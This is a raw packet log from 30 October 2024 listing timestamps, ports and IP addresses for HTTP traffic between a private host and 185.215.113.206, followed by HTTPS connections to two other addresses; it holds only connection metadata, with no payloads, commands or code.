Oct 30, 2024 02:27:38.591464996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591474056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591500998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591535091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591552019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591654062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591690063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591717958 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591725111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591728926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591763973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591805935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591814995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591851950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591857910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591885090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591901064 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591918945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591931105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591954947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591988087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592009068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592022896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592056990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592056990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592058897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592093945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592120886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592128038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592145920 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592161894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592170000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592200041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592206955 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592233896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592248917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592269897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592279911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592300892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592325926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592334986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592351913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592369080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592403889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592415094 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592439890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592473030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592479944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592503071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592514038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592539072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592571974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592581987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592605114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592616081 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592638969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592673063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592689037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592708111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592710972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592741966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592776060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592788935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592823982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592829943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592864037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592886925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592896938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592911005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592931986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592941999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592964888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.592968941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.592995882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.593029976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.593050957 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.593063116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.593072891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.593096018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.593107939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.593128920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.593151093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.593158960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.593170881 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.593194008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.593199968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.593229055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.593236923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.593261957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.593296051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.593298912 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.593312979 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.593324900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.593357086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.593357086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.593358040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.593394041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.593410969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.593426943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.593436003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.593461990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.593496084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.593502998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.593530893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.593578100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.662358046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.662414074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.662430048 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.662447929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.662458897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.662482977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.662489891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.662524939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.690264940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.695811987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976268053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976380110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976407051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976454020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976480961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976520061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976541996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976558924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976577044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976583958 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976597071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976608038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976630926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976641893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976650953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976653099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976670027 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976680040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976692915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976705074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976711035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976730108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976730108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976749897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976753950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976771116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976783991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976792097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976797104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976809025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976809978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976824999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976836920 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976836920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976850033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976864100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976871967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976874113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976888895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976901054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976903915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976913929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976924896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976927042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976953983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976965904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.976988077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.976999998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977010965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977037907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.977061033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.977108002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977119923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977132082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977147102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977159023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.977185965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.977327108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977340937 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977351904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977365971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977380037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977380037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.977394104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977399111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.977410078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977422953 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.977451086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.977577925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977591991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977603912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977616072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977622032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.977628946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977642059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977648020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.977657080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977667093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977674961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.977701902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.977783918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977798939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977830887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.977848053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.977947950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977961063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977974892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977987051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.977998972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.977999926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978014946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978028059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978032112 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.978040934 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.978040934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978055000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978074074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.978106022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.978287935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978298903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978310108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978322983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978332996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.978334904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978348017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978348970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.978362083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978374958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978379965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.978388071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978406906 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.978426933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.978560925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978570938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978581905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978606939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.978626013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.978682041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978693008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978704929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978718042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978724957 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.978729010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.978749037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.978775024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:39.162344933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:39.162358999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:39.167887926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:39.167907000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:39.949948072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:39.950078011 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:39.996192932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:40.001621008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:40.284241915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:40.284282923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:40.284322977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:40.284326077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:40.284337044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:40.284358978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:40.284368038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:40.284400940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:40.286815882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:40.292252064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:40.574491024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:40.574553967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:40.585078001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:40.590506077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:41.364769936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:41.364872932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:41.389950991 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:41.396127939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:41.679011106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:41.679104090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:41.680135965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:41.687890053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:42.470485926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:42.470561028 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:44.823618889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:54.748984098 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:54.749037981 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:54.749102116 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:54.749377012 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:54.749406099 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.387010098 CET	49763	443	192.168.2.4	4.245.163.56
Oct 30, 2024 02:27:55.387032032 CET	443	49763	4.245.163.56	192.168.2.4
Oct 30, 2024 02:27:55.387094021 CET	49763	443	192.168.2.4	4.245.163.56
Oct 30, 2024 02:27:55.387500048 CET	49763	443	192.168.2.4	4.245.163.56
Oct 30, 2024 02:27:55.387514114 CET	443	49763	4.245.163.56	192.168.2.4
Oct 30, 2024 02:27:55.491328955 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.491417885 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.498636961 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.498665094 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.499063969 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.515749931 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.559355021 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.731709003 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.731766939 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.731810093 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.731861115 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.731934071 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.731976032 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.731998920 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.763237000 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.763286114 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.763443947 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.763443947 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.763473034 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.763530970 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.849612951 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.849638939 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.849678993 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.849693060 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.849704981 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.849735022 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.880785942 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.880808115 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.880846977 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.880856037 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.880877972 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.880899906 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.882580996 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.882601023 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.882654905 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.882668018 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.882723093 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.884588957 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.925594091 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.925637960 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.925688028 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.925697088 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.925724983 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.925748110 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.967955112 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.968003988 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.968174934 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.968214035 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.968264103 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.997972012 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.997992992 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.998159885 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.998167038 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.998217106 CET	49762	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:55.999377966 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.999397993 CET	443	49762	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:55.999452114 CET	49762	443	192.168.2.4	13.107.246.45
